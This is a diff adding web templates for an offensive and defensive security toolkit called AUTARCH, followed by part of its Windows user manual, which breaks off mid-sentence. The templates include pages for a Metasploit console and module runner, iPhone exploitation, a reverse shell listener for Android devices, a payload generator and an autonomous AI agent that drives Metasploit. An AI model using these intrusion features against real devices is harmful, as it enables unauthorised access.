    +
      + {% for name, info in modules.items() %} +
    • +
      +
      {{ name }}
      +
      {{ info.description }}
      +
      +
      v{{ info.version }} by {{ info.author }}
      +
    • + {% endfor %} +
    +
    +{% else %} +
    No modules in this category.
    +{% endif %} +{% endblock %} diff --git a/web/templates/counter.html b/web/templates/counter.html new file mode 100644 index 0000000..ae5305b --- /dev/null +++ b/web/templates/counter.html @@ -0,0 +1,92 @@ +{% extends "base.html" %} +{% block title %}Counter Intelligence - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Full Threat Scan

    +
    + +
    +
    +
    +
    Click "Run Scan" to check for threats.
    +
    +
    + + +
    +

    Quick Checks

    +
    +
    +

    Suspicious Processes

    +

    Scan for known malicious process names

    + +
    
    +        
    +
    +

    Network Analysis

    +

    Check for suspicious connections

    + +
    
    +        
    +
    +

    Login Anomalies

    +

    Quick failed login check

    + +
    
    +        
    +
    +

    File Integrity

    +

    Check recently modified critical files

    + +
    
    +        
    +
    +

    Scheduled Tasks

    +

    Check cron jobs for suspicious commands

    + +
    
    +        
    +
    +

    Rootkit Detection

    +

    Basic rootkit and hidden process checks

    + +
    
    +        
    +
    +
    + + +
    +

    Login Analysis

    +

    Detailed failed login analysis with GeoIP enrichment (top 15 IPs)

    +
    + +
    +
    +
    Click "Analyze Logins" to view failed login attempts.
    +
    +
    + +{% if modules %} +
    +

    Counter Modules

    +
      + {% for name, info in modules.items() %} +
    • +
      +
      {{ name }}
      +
      {{ info.description }}
      +
      +
      v{{ info.version }}
      +
    • + {% endfor %} +
    +
    +{% endif %} +{% endblock %} diff --git a/web/templates/dashboard.html b/web/templates/dashboard.html new file mode 100644 index 0000000..3a40df9 --- /dev/null +++ b/web/templates/dashboard.html @@ -0,0 +1,93 @@ +{% extends "base.html" %} +{% block title %}Dashboard - AUTARCH{% endblock %} + +{% block content %} + + +
    +
    +
    Modules
    +
    {{ modules.get('total', 0) }}
    +
    +
    +
    LLM Backend
    +
    {{ llm_backend }}
    +
    +
    +
    Hostname
    +
    {{ system.hostname }}
    +
    +
    +
    Uptime
    +
    {{ system.uptime }}
    +
    +
    + + + +
    +

    System Tools

    + + + + {% for tool, available in tools.items() %} + + + + + {% endfor %} + +
    ToolStatus
    {{ tool }}{{ 'Available' if available else 'Not found' }}
    +
    + +
    +

    System Info

    + + + + + + + + +
    Platform{{ system.platform }}
    Architecture{{ system.arch }}
    Python{{ system.python }}
    IP{{ system.ip }}
    UPnP{{ 'Enabled' if upnp_enabled else 'Disabled' }}
    +
    +{% endblock %} diff --git a/web/templates/defense.html b/web/templates/defense.html new file mode 100644 index 0000000..2ae47a5 --- /dev/null +++ b/web/templates/defense.html @@ -0,0 +1,115 @@ +{% extends "base.html" %} +{% block title %}Defense - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Security Audit

    +
    + +
    +
    +
    +
    --
    +
    Security Score
    +
    +
    + + + + + +
    CheckStatusDetails
    Run an audit to see results.
    +
    +
    +
    + + +
    +

    Quick Checks

    +
    +
    +

    Firewall

    +

    Check iptables/ufw/firewalld status

    + +
    
    +        
    +
    +

    SSH Config

    +

    Check SSH hardening settings

    + +
    
    +        
    +
    +

    Open Ports

    +

    Scan for high-risk listening ports

    + +
    
    +        
    +
    +

    Users

    +

    Check UID 0 users and empty passwords

    + +
    
    +        
    +
    +

    Permissions

    +

    Check critical file permissions

    + +
    
    +        
    +
    +

    Services

    +

    Check for dangerous services

    + +
    
    +        
    +
    +
    + + +
    +

    Firewall Manager

    +
    + +
    +
    Click "Refresh Rules" to load current iptables rules.
    +
    +
    + + +
    +
    
    +    
    +
    + + +
    +

    Log Analysis

    +
    + +
    +
    Click "Analyze Logs" to parse auth and web server logs.
    +
    + +{% if modules %} +
    +

    Defense Modules

    +
      + {% for name, info in modules.items() %} +
    • +
      +
      {{ name }}
      +
      {{ info.description }}
      +
      +
      v{{ info.version }}
      +
    • + {% endfor %} +
    +
    +{% endif %} +{% endblock %} diff --git a/web/templates/encmodules.html b/web/templates/encmodules.html new file mode 100644 index 0000000..72d419d --- /dev/null +++ b/web/templates/encmodules.html @@ -0,0 +1,566 @@ +{% extends "base.html" %} +{% block title %}Encrypted Modules — AUTARCH{% endblock %} + +{% block extra_head %} + +{% endblock %} + +{% block content %} + + + +
    +

    Upload Module

    +
    + +
    🔒
    +
    Drop an .aes encrypted module here, or click to browse
    +
    AES-256 encrypted Python modules
    +
    + +
    + + +
    +

    Available Modules

    + {% if not modules %} +

    + No .aes modules found in modules/encrypted/. + Upload a module above to get started. +

    + {% else %} +
    + {% for mod in modules %} +
    +
    + 🔒 + {{ mod.name }} + v{{ mod.version }} +
    +
    {{ mod.description or 'No description available.' }}
    +
    + {% for tag in mod.tags %} + {{ tag }} + {% endfor %} + {{ mod.size_kb }} KB +
    + + +
    +
    + + +
    +
    + + +
    + + +
    + +
    + + + + + +
    +
    + + +
    + + +
    +
    + {% endfor %} +
    + {% endif %} +
    + + +
    +
    +
    + Module Output + + +
    +
    +
    + + +{% endblock %} diff --git a/web/templates/hardware.html b/web/templates/hardware.html new file mode 100644 index 0000000..0ef7c64 --- /dev/null +++ b/web/templates/hardware.html @@ -0,0 +1,538 @@ +{% extends "base.html" %} +{% block title %}Hardware - AUTARCH{% endblock %} + +{% block extra_head %}{% endblock %} + +{% block content %} + + + +
    + Connection Mode: +
    + + +
    + +
    + + +
    +
    +
    ADB
    +
    + + {{ 'Available' if status.adb else 'Not found' }} +
    +
    +
    +
    Fastboot
    +
    + + {{ 'Available' if status.fastboot else 'Not found' }} +
    +
    +
    +
    Serial
    +
    + + {{ 'Available' if status.serial else 'Not installed' }} +
    +
    +
    +
    ESPTool
    +
    + + {{ 'Available' if status.esptool else 'Not installed' }} +
    +
    +
    + + + + + +
    + + + +
    + + +
    + + +
    +

    Archon Server Bootstrap

    +

    Start the ArchonServer privileged process on a USB-connected Android device running the Archon companion app.

    +
    + + + +
    +
    +
    + + + + + +
    +

    ADB Devices

    +
    + +
    +
    +
    + + + + + + + + +
    +

    Fastboot Devices

    +
    + +
    +
    +
    + + + +
    + + +
    + + + + + +
    +
    +

    Serial Ports

    +
    + +
    +
    +
    + + +
    +

    Chip Detection

    +
    +
    + + +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    + + +
    +

    Flash Firmware

    + +
    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    + +
    + +
    + + +
    +

    Serial Monitor

    + +
    +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    + + + +
    +
    +
    + + +
    +
    +
    + + +
    +
    +

    Factory Image Flash

    +

    Flash a complete factory image to an Android device. Inspired by PixelFlasher. Requires Direct mode with a device in fastboot.

    + + + +
    + +
    +
    + + +
    +
    + + + + + + +
    +
    +
    + + +{% endblock %} diff --git a/web/templates/hash_detection.html b/web/templates/hash_detection.html new file mode 100644 index 0000000..862b30f --- /dev/null +++ b/web/templates/hash_detection.html @@ -0,0 +1,372 @@ +{% extends "base.html" %} +{% block title %}Hash Toolkit - AUTARCH{% endblock %} + +{% block content %} + + + +
    + + + + + + +
    + + +
    +
    +

    Hash Algorithm Detection

    +

    + Paste an unknown hash to identify possible algorithms (supports 40+ hash types). +

    +
    + + +
    +
    
    +    
    +
    +
    + + +
    +
    +

    File Hashing

    +

    + Compute CRC32, MD5, SHA1, SHA256, and SHA512 digests for any file. +

    +
    + + +
    +
    
    +
    +
    + + +
    +
    +

    Text / String Hashing

    +
    + +
    +
    + + +
    +
    
    +
    +
    + + +
    +
    +

    Change File Hash

    +

    + Append bytes to a copy of a file to change its hash. Original file is not modified. +

    +
    + + + + +
    +
    
    +
    +
    + + +
    +
    +

    Create Dummy Hash Files

    +

    + Generate test files with known content for hash verification and testing. +

    +
    + + +
    +
    + + + +
    + +
    
    +
    +
    + + +
    +
    +

    Hash Type Reference

    +

    + Common hash types, output lengths, and hashcat mode numbers. +

    +
    +
    +
    + + +{% endblock %} diff --git a/web/templates/iphone_exploit.html b/web/templates/iphone_exploit.html new file mode 100644 index 0000000..4f9614a --- /dev/null +++ b/web/templates/iphone_exploit.html @@ -0,0 +1,522 @@ +{% extends "base.html" %} +{% block title %}iPhone Exploit - AUTARCH{% endblock %} + +{% block content %} + + + +
    +
    +
    Tools Found
    +
    {{ status.found }} / {{ status.total }}
    +
    +
    +
    Devices
    +
    --
    +
    +
    +
    Paired
    +
    --
    +
    +
    + + +{% if status.missing %} +
    + Missing tools: {{ status.missing | join(', ') }}. Install libimobiledevice and ifuse for full functionality. +
    +{% endif %} + + +
    + + + +
    + + +
    + + + + + + +
    + + +
    +
    +

    Device Management

    +
    + + + +
    +
    + + + +
    +
    + +
    + + +
    + +
    +
    + + + +
    +
    +
    +
    Select a device and run a command...
    +
    +
    + + + + + + + + + + + + + + + + + +
    +

    Port Forward (iproxy)

    +
    +
    + + +
    +
    + + +
    + +
    +
    +
    Ready...
    +
    +
    + + + + +{% endblock %} diff --git a/web/templates/legendary_creator.html b/web/templates/legendary_creator.html new file mode 100644 index 0000000..239ec7e --- /dev/null +++ b/web/templates/legendary_creator.html @@ -0,0 +1,277 @@ +{% extends "base.html" %} +{% block title %}Legendary Creator - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Legend Seeds (all optional — leave blank for fully random)

    +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + +
    + + +
    + +
    + + + +
    +
    + + + + + + + +{% endblock %} diff --git a/web/templates/llm_settings.html b/web/templates/llm_settings.html new file mode 100644 index 0000000..b61ed39 --- /dev/null +++ b/web/templates/llm_settings.html @@ -0,0 +1,870 @@ +{% extends "base.html" %} +{% block title %}LLM Settings - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Active Backend

    +
    + + + + +
    +

    + Configured backend: {{ llm_backend }} + — select a tab, fill in settings, and click Save & Activate, then Load Model to initialise. +

    + + +
    +
    + + Not loaded — click Load Model to initialise the current backend. + + + +
    +

    + Local GGUF models may take 10–60 s to load depending on size. + The page will wait — check the Debug Log for live output. +

    +
    + + + + +
    + + +
    +

    Model Selection

    +
    + +
    + + +
    +

    + Scans for .gguf, .ggml, .bin files and SafeTensors model directories. +

    +
    + + + +
    + + +
    + +
    + +
    +
    + + +
    +

    llama.cpp Parameters

    +
    + + + + + +

    GPU / Compute Backend

    +
    + +
    +
    +
    CUDA
    +
    7.5 GB VRAM
    +
    NVIDIA GPU
    +
    n_gpu_layers = -1
    +
    + +
    +
    +
    Intel · Vulkan
    +
    15 GB RAM
    +
    Intel GPU / iGPU
    +
    n_gpu_layers = -1
    +
    + +
    +
    🖥
    +
    CPU Only
    +
    24 GB RAM
    +
    Any CPU
    +
    n_gpu_layers = 0
    +
    + +
    + + + + +

    Context & Threading

    +
    +
    + + + Token window. Higher = more memory. +
    +
    + + + Match physical cores. +
    +
    + + + -1 = all, 0 = CPU only. +
    +
    + + + Prompt processing batch. +
    +
    + +

    Sampling / Generation

    +
    +
    + + + 0 = deterministic, 1 = creative. +
    +
    + + + Nucleus sampling threshold. +
    +
    + + + 0 = disabled. +
    +
    + + + Penalises repeated tokens. +
    +
    + + + Max new tokens generated. +
    +
    + + + -1 = random. +
    +
    + +

    RoPE & Mirostat

    +
    +
    + + + Extends context via RoPE. +
    +
    + + + Replaces top-p/k sampling. +
    +
    + + + Target entropy (5.0 default). +
    +
    + + + Learning rate (0.1 default). +
    +
    + +

    Performance Flags

    +
    + +
    + + +
    +
    + + +
    +

    Transformers / SafeTensors Parameters

    +
    + + + +

    Device & Precision

    +
    +
    + + +
    +
    + + +
    +
    +
    + + + + +
    +
    + + + + auto (default) — let transformers decide  |  + cpu — CPU only  |  + cuda:0 — single GPU. Enable FP32 CPU Offload above if 8-bit gives a "dispatched on CPU" error. + +
    + +

    Tokenizer

    +
    +
    + + + left = causal LM standard. +
    +
    +
    + +
    + +

    Generation

    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    + + + 0 = disabled. +
    +
    + + +
    +
    + + + 1 = greedy/sampling. +
    +
    +
    + +
    + + +
    +
    + +
    + + + + +
    +
    +

    Claude API

    +

    + Requires an Anthropic account. + Get your API key from the console. +

    +
    + + +
    + + + Stored in autarch_settings.conf — keep it safe. +
    + +
    + + +
    + +
    +
    + + +
    +
    + + + 0–1. Claude default is 1. +
    +
    + + + Use with lower temp. +
    +
    + + + 0 = disabled. +
    +
    + + +
    +
    +
    + + + + +
    +
    +

    OpenAI API

    +

    + Also compatible with any OpenAI-format endpoint: LiteLLM, Ollama (/v1), vLLM, LocalAI, etc. + Just set the Base URL to your local server. +

    +
    + + +
    + + + Leave blank for local servers (Ollama, vLLM, etc.). +
    + +
    + + + Change to point to local LLM servers. +
    + +
    + + + + + Type any model ID, or pick from suggestions. +
    + +
    +
    + + +
    +
    + + + 0–2. 1 = default. +
    +
    + + +
    +
    + + + Reduce repetition. +
    +
    + + + Encourage new topics. +
    +
    + + +
    +
    +
    + + + + +
    +
    +

    HuggingFace Inference API

    + + +

    Account

    +
    + +
    + + +
    + Get yours at huggingface.co/settings/tokens +
    + + +
    + + + + +

    Model

    +
    + +
    + + Browse HF +
    + Full model repo ID (e.g. meta-llama/Llama-3.1-8B-Instruct). +
    + +
    + + + Provider used for serverless inference. Some require separate accounts. +
    + +
    + + + Overrides provider. Use for Dedicated Inference Endpoints. +
    + + +

    Generation Parameters

    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    + + + 0 = disabled. +
    +
    + + +
    +
    + + + -1 = random. +
    +
    + +
    + +
    + +
    + + + Tokens that will stop generation. +
    + + +
    +
    +
    + + + + +{% endblock %} diff --git a/web/templates/login.html b/web/templates/login.html new file mode 100644 index 0000000..ac024c8 --- /dev/null +++ b/web/templates/login.html @@ -0,0 +1,37 @@ +{% extends "base.html" %} +{% block title %}Login - AUTARCH{% endblock %} + +{% block login_content %} + +{% endblock %} diff --git a/web/templates/manual.html b/web/templates/manual.html new file mode 100644 index 0000000..eab34b5 --- /dev/null +++ b/web/templates/manual.html @@ -0,0 +1,78 @@ +{% extends "base.html" %} +{% block title %}User Manual — AUTARCH{% endblock %} + +{% block extra_head %} + +{% endblock %} + +{% block content %} +
    + {{ manual_html }} +
    +{% endblock %} diff --git a/web/templates/msf.html b/web/templates/msf.html new file mode 100644 index 0000000..4f61bdd --- /dev/null +++ b/web/templates/msf.html @@ -0,0 +1,137 @@ +{% extends "base.html" %} +{% block title %}MSF Console - AUTARCH{% endblock %} + +{% block content %} + + + +
    +
    +
    + + Checking... +
    + + +
    +
    + + +
    +
    +
    + msf6 > + + + +
    +
    + Examples: version   search ssh   use auxiliary/scanner/ssh/ssh_version   sessions -l +
    +
    + + +
    +

    Quick Commands

    +
    + + + + + + + + + +
    +
    + + +{% endblock %} diff --git a/web/templates/offense.html b/web/templates/offense.html new file mode 100644 index 0000000..83db57a --- /dev/null +++ b/web/templates/offense.html @@ -0,0 +1,323 @@ +{% extends "base.html" %} +{% block title %}Offense - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Metasploit Status

    +
    + Checking... +
    +
    +

    Module execution is CLI-only for safety. The web UI provides search, browsing, and status.

    +
    + + +
    +

    Module Search

    +
    + + +
    +
    +
    Search the offline module library or connected MSF instance.
    +
    +
    + + +
    +

    Module Browser

    +
    + + + + +
    + + + + +
    +
    Click a tab to browse modules.
    +
    +
    +
    +
    +
    + + +
    +

    Active Sessions

    +
    + +
    +
    +
    Click "Refresh" to check for active sessions.
    +
    +
    + +{% if modules %} +
    +

    Offense Modules

    +
      + {% for name, info in modules.items() %} +
    • +
      +
      {{ name }}
      +
      {{ info.description }}
      +
      +
      v{{ info.version }}
      +
    • + {% endfor %} +
    +
    +{% endif %} + + +
    +

    Run Module

    +
    + + + + +
    + + +
    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    + +
    + + +
    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    +
    + + +
    +
    +
    + +
    +
    + + +
    + + +
    +
    +
    + + +
    +

    Agent Hal — Autonomous Mode

    +

    Give Hal a security task and watch it execute step by step using MSF and other tools.

    +
    + + + +
    +
    +
    + + +{% endblock %} diff --git a/web/templates/osint.html b/web/templates/osint.html new file mode 100644 index 0000000..04e0c6f --- /dev/null +++ b/web/templates/osint.html @@ -0,0 +1,190 @@ +{% extends "base.html" %} +{% block title %}OSINT - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Search

    + + + +
    +
    + +
    + +
    + + + {% if categories %} +
    +
    + +
    +
    + {% for cat_name, cat_count in categories %} + + {% endfor %} +
    +
    + {% endif %} + + +
    + + Advanced Options + +
    +
    +
    + + + {{ osint_settings.max_threads }} +
    +
    + + +
    +
    +
    +
    + + +
    +
    + + +
    +
    +
    +
    +
    + + +
    +
    + + + + + + + + + + + +
    +

    Dossiers

    +
    + +
    +
    +
    Click "Refresh" to load dossiers.
    +
    +
    + + + + +{% if modules %} +
    +

    OSINT Modules

    +
      + {% for name, info in modules.items() %} +
    • +
      +
      {{ name }}
      +
      {{ info.description }}
      +
      +
      v{{ info.version }}
      +
    • + {% endfor %} +
    +
    +{% endif %} +{% endblock %} diff --git a/web/templates/revshell.html b/web/templates/revshell.html new file mode 100644 index 0000000..36f6a73 --- /dev/null +++ b/web/templates/revshell.html @@ -0,0 +1,450 @@ +{% extends "base.html" %} +{% block title %}Reverse Shell — AUTARCH{% endblock %} + +{% block content %} + + + +
    +
    +

    Listener

    + + {{ 'Running' if running else 'Stopped' }} + +
    +
    +
    +
    + + +
    +
    + + +
    +
    + + + +
    +
    +

    + On the Archon app: Modules tab → Reverse Shell → CONNECT.
    + The device will connect back to this listener on port {{ port }}. +

    +
    +
    + + +
    +
    +

    Sessions

    + {{ sessions|length }} +
    +
    +
    + {% if sessions %} + {% for s in sessions %} +
    +
    + {{ s.device }} + Android {{ s.android }} | UID {{ s.uid }} + Connected {{ s.connected_at }} | {{ s.commands_executed }} cmds +
    +
    + + +
    +
    + {% endfor %} + {% else %} +

    No active sessions. Start the listener and connect from the Archon app.

    + {% endif %} +
    +
    +
    + + + + + + + + + + + + + +{% endblock %} diff --git a/web/templates/settings.html b/web/templates/settings.html new file mode 100644 index 0000000..f65f567 --- /dev/null +++ b/web/templates/settings.html @@ -0,0 +1,132 @@ +{% extends "base.html" %} +{% block title %}Settings - AUTARCH{% endblock %} + +{% block content %} + + +
    +

    Change Password

    +
    +
    + + +
    +
    + + +
    + +
    +
    + +
    +

    OSINT Settings

    +
    +
    + + +
    +
    + + +
    +
    + +
    + +
    +
    + +
    +

    UPnP Settings

    +
    +
    + +
    +
    + + +
    +
    + + +
    +
    + + +
    + +
    +
    + +
    +

    LLM Configuration

    +
    +
    + Active backend: + {{ llm_backend }} +
    + Open LLM Settings → +
    +

    + Configure local models (GGUF / SafeTensors), Claude, OpenAI, and HuggingFace Inference API. +

    +
    + +
    +

    MCP Server

    +

    Model Context Protocol — expose AUTARCH tools to AI clients (Claude Desktop, Claude Code)

    +
    + + + + +
    + +
    + +
    +

    Debug Console

    + +

    Captures all Python logging output into a live debug window available on every page. Useful for troubleshooting LLM, MSF, and tool issues.

    +
    + + +
    +
    + + +{% endblock %} diff --git a/web/templates/simulate.html b/web/templates/simulate.html new file mode 100644 index 0000000..a883600 --- /dev/null +++ b/web/templates/simulate.html @@ -0,0 +1,82 @@ +{% extends "base.html" %} +{% block title %}Attack Simulation - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Password Audit

    +
    + + +
    +
    +
    +
    --
    +
    Score
    +
    +
    +
    
    +        
    +
    +
    + + +
    +

    Port Scanner

    +
    + + + +
    +
    
    +
    + + +
    +

    Banner Grabber

    +
    + + + +
    + +
    + + +
    +

    Payload Generator

    +

    Generate test payloads for security testing

    +
    + + +
    +
    +
    + +{% if modules %} +
    +

    Simulate Modules

    +
      + {% for name, info in modules.items() %} +
    • +
      +
      {{ name }}
      +
      {{ info.description }}
      +
      +
      v{{ info.version }}
      +
    • + {% endfor %} +
    +
    +{% endif %} +{% endblock %} diff --git a/web/templates/targets.html b/web/templates/targets.html new file mode 100644 index 0000000..516b7c6 --- /dev/null +++ b/web/templates/targets.html @@ -0,0 +1,439 @@ +{% extends "base.html" %} +{% block title %}Targets - AUTARCH{% endblock %} + +{% block content %} + + + + + + +
    +
    + + + + +
    +
    + + +
    +
    + + + + + + + + + + + + + + + + {% if targets %} + {% for t in targets %} + + + + + + + + + + + + + + + + {% endfor %} + {% else %} + + + + {% endif %} + +
    #HostNameTypeOSStatusPortsTagsActions
    {{ loop.index }}{{ t.host }}{{ t.name if t.name != t.host else '' }}{{ t.type }}{{ t.os }} + {{ t.status }} + {{ t.ports or '—' }} + {% for tag in t.tags %}{{ tag }}{% endfor %} + + + 🔍 + + +
    + No targets yet — click + Add Target to add your first one. +
    +
    +
    + + + + +{% endblock %} diff --git a/web/templates/upnp.html b/web/templates/upnp.html new file mode 100644 index 0000000..48b4c06 --- /dev/null +++ b/web/templates/upnp.html @@ -0,0 +1,117 @@ +{% extends "base.html" %} +{% block title %}UPnP - AUTARCH{% endblock %} + +{% block content %} + + +{% if not available %} +
    +
    +

    upnpc (miniupnpc) is not installed.

    +

    sudo apt install miniupnpc

    +
    +
    +{% else %} + +
    +
    +
    External IP
    +
    {{ external_ip }}
    +
    +
    +
    Internal IP
    +
    {{ internal_ip }}
    +
    +
    +
    Configured Ports
    +
    {{ mappings|length }}
    +
    +
    +
    Cron Job
    +
    + + {{ cron.interval if cron.installed else 'Not installed' }} +
    +
    +
    + +
    +

    Configured Mappings

    + {% if mappings %} + + + + {% for m in mappings %} + + + + + + {% endfor %} + +
    PortProtocolActions
    {{ m.port }}{{ m.protocol }} +
    + + + +
    +
    + {% else %} +
    No port mappings configured.
    + {% endif %} +
    + +
    +

    Add Mapping

    +
    +
    + + +
    +
    + + +
    + +
    +
    + +
    +

    Cron Job

    + {% if cron.installed %} +

    Running every {{ cron.interval }}

    +

    {{ cron.line }}

    +
    + + +
    + {% else %} +

    No cron job installed for automatic UPnP refresh.

    +
    + +
    + + +
    + +
    + {% endif %} +
    + +
    +

    Current Router Mappings

    +
    {{ current_mappings }}
    +
    + +{% endif %} +{% endblock %} diff --git a/web/templates/wireguard.html b/web/templates/wireguard.html new file mode 100644 index 0000000..4a4e636 --- /dev/null +++ b/web/templates/wireguard.html @@ -0,0 +1,665 @@ +{% extends "base.html" %} +{% block title %}WireGuard - AUTARCH{% endblock %} + +{% block content %} + + + +
    +
    +
    Interface
    +
    + + Checking... +
    +
    +
    +
    Endpoint
    +
    -
    +
    +
    +
    Clients
    +
    + 0 total, + 0 online +
    +
    +
    +
    USB/IP
    +
    + + {{ 'Available' if usbip_status.available else 'Not found' }} +
    +
    +
    + + +
    + + + + +
    + + + + +
    +
    +

    Server Controls

    +
    + + + + +
    +
    + +
    +

    Server Info

    + + + + + + + + + +
    Interface-
    Status-
    Public Key-
    Endpoint-
    Listen Port-
    Active Peers-
    +
    + +
    +

    Recent Peers

    +
    + Loading... +
    +
    + +
    +

    Results

    +
    + Server status will appear here. +
    +
    +
    + + + + +
    +
    +

    Create Client

    +
    +
    + + +
    +
    + + +
    +
    + + +
    + +
    +
    + +
    +

    Clients

    +
    + +
    +
    + Loading... +
    +
    + + + + +
    +

    Results

    +
    + Client operations will appear here. +
    +
    +
    + + + + +
    + +
    +

    ADB over TCP/IP

    +
    +
    + + +
    + + + +
    +
    + +
    +

    Connected ADB Devices

    +
    + +
    +
    + Click Refresh to list connected devices. +
    +
    + + +
    +

    USB/IP

    +
    +
    +
    vhci-hcd Module
    +
    + + Unknown +
    +
    +
    +
    Active Imports
    +
    0
    +
    +
    +
    + + +
    +
    + +
    +

    Remote USB Devices

    +
    +
    + + +
    + +
    +
    + Select a client and list devices. +
    +
    + +
    +

    Attached Ports

    +
    + +
    +
    + No attached ports. +
    +
    + +
    +

    Results

    +
    + ADB/USB/IP operations will appear here. +
    +
    +
    + + + + +
    +
    +

    Server Configuration

    + + + + + + +
    WG Binary{{ 'Found' if wg_available else 'Not found' }}
    USB/IP Binary{{ 'Found' if usbip_status.available else 'Not found' }}
    vhci-hcd Module{{ 'Loaded' if usbip_status.modules_loaded else 'Not loaded' }}
    +
    + +
    +

    Actions

    +
    + + +
    +
    + +
    +

    Results

    +
    + Settings actions will appear here. +
    +
    +
    + + +{% endblock %} diff --git a/web/templates/wireshark.html b/web/templates/wireshark.html new file mode 100644 index 0000000..c30fbab --- /dev/null +++ b/web/templates/wireshark.html @@ -0,0 +1,132 @@ +{% extends "base.html" %} +{% block title %}Wireshark - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    Engine Status

    +
    +
    +
    Scapy
    +
    + + {{ 'Available' if status.scapy else 'Missing' }} +
    +
    +
    +
    tshark
    +
    + + {{ 'Available' if status.tshark else 'Not found' }} +
    +
    +
    +
    Live Capture
    +
    + + {{ 'Ready' if status.can_capture else 'Needs root' }} +
    +
    +
    +
    Status
    +
    + Idle +
    +
    +
    +
    + + +
    +

    Live Capture

    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    +
    + + + +
    + + +
    +

    PCAP File Analysis

    +
    + + +
    +
    +
    + + + + + +{% endblock %} diff --git a/windows_manual.md b/windows_manual.md new file mode 100644 index 0000000..5509811 --- /dev/null +++ b/windows_manual.md @@ -0,0 +1,563 @@ +# AUTARCH — Windows User Manual + +**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking** +*By darkHal Security Group and Setec Security Labs* + +--- + +## Table of Contents + +1. [Windows Overview](#1-windows-overview) +2. [System Requirements](#2-system-requirements) +3. [Installation](#3-installation) +4. [Running AUTARCH on Windows](#4-running-autarch-on-windows) +5. [Web Dashboard](#5-web-dashboard) +6. [LLM Setup on Windows](#6-llm-setup-on-windows) +7. [Metasploit on Windows](#7-metasploit-on-windows) +8. [Nmap on Windows](#8-nmap-on-windows) +9. [Hardware & Device Tools](#9-hardware--device-tools) +10. [WireGuard VPN](#10-wireguard-vpn) +11. [Known Limitations on Windows](#11-known-limitations-on-windows) +12. [Troubleshooting](#12-troubleshooting) +13. [Quick Reference](#13-quick-reference) + +--- + +## 1. Windows Overview + +AUTARCH runs on Windows with most features fully functional. A few Linux-specific tools (like `tshark` packet capture and WireGuard kernel integration) have limited support, but the web dashboard, AI chat, OSINT tools, hardware management, and Metasploit all work on Windows. + +**What works on Windows:** +- Web dashboard (full UI) +- AI chat (all LLM backends except GPU quantization) +- OSINT tools +- Android/iPhone device management via ADB (USB or WebUSB) +- Hardware ESP32 flashing +- Metasploit RPC client (MSF must be started separately) +- Reverse shell management +- Targets & Settings +- Agent Hal (autonomous AI agent) + +**What has reduced functionality on Windows:** +- Packet capture (`tshark`/`pyshark`) — requires Npcap +- WireGuard — requires Windows WireGuard app +- Linux service manager (`--service` flag) — use Task Scheduler instead +- Metasploit auto-start — must start MSF manually + +--- + +## 2. System Requirements + +| Component | Minimum | Recommended | +|-----------|---------|-------------| +| OS | Windows 10 (64-bit) | Windows 11 | +| RAM | 4 GB | 16 GB (for local AI models) | +| Storage | 2 GB free | 20 GB (for AI models) | +| Python | 3.10 | 3.11 or 3.12 | +| Browser | Chrome / Edge | Chrome (required for WebUSB) | +| GPU (AI) | None needed | NVIDIA GPU (for GPU-accelerated models) | + +--- + +## 3. Installation + +### Step 1 — Install Python + +Download Python from [python.org](https://www.python.org/downloads/). During installation: + +- **Check "Add Python to PATH"** (critical — do this before clicking Install Now) +- Check "Install pip" +- Use the default installation path + +Verify the install by opening Command Prompt and typing: + +``` +python --version +pip --version +``` + +Both should print version numbers without errors. + +### Step 2 — Get AUTARCH + +If you received AUTARCH as a ZIP file, extract it to a folder like `C:\she\autarch`. + +### Step 3 — Install Dependencies + +Open Command Prompt, navigate to your AUTARCH folder, and run: + +``` +cd C:\she\autarch +pip install -r requirements.txt +``` + +This installs Flask, requests, and other core libraries. It may take a few minutes. + +**Note on bitsandbytes:** The `requirements.txt` includes `bitsandbytes` for GPU model quantization. This package requires Linux/CUDA to fully work. On Windows without CUDA: + +``` +pip install bitsandbytes --prefer-binary +``` + +If it fails, you can skip it — AUTARCH will detect its absence and load models without quantization automatically. No other features are affected. + +### Step 4 — First Run + +``` +python autarch.py +``` + +A setup wizard will appear asking you to configure an AI backend. If you don't have an AI model yet, choose **Skip Setup** — you can configure it later in Settings → LLM Config. + +--- + +## 4. Running AUTARCH on Windows + +### Starting the Terminal Menu + +``` +python autarch.py +``` + +Navigate with number keys. Type `0` to go back. Type `99` for Settings. + +### Starting the Web Dashboard + +``` +python autarch.py --web +``` + +Then open your browser to: `http://localhost:8080` + +> **Tip:** Use `http://YOUR-IP:8080` (find your IP with `ipconfig`) to access from other devices on your network. + +### Useful Startup Flags + +| Command | What It Does | +|---------|-------------| +| `python autarch.py` | Start the interactive menu | +| `python autarch.py --web` | Start the web dashboard | +| `python autarch.py --web --port 9090` | Use a different port | +| `python autarch.py -m chat` | Start AI chat directly | +| `python autarch.py --setup` | Re-run the setup wizard | +| `python autarch.py --skip-setup` | Skip AI setup | +| `python autarch.py --show-config` | Show current settings | +| `python autarch.py --mcp stdio` | Start MCP server | +| `python autarch.py -l` | List all available modules | + +### Running as a Background Service on Windows + +AUTARCH's `--service` commands use Linux `systemd`. On Windows, use **Task Scheduler** instead: + +1. Open Task Scheduler (`taskschd.msc`) +2. Create Basic Task → name it "AUTARCH" +3. Trigger: "When the computer starts" +4. Action: Start a program + - Program: `python` + - Arguments: `C:\she\autarch\autarch.py --web` + - Start in: `C:\she\autarch` +5. Run whether user is logged on or not + +Alternatively, use 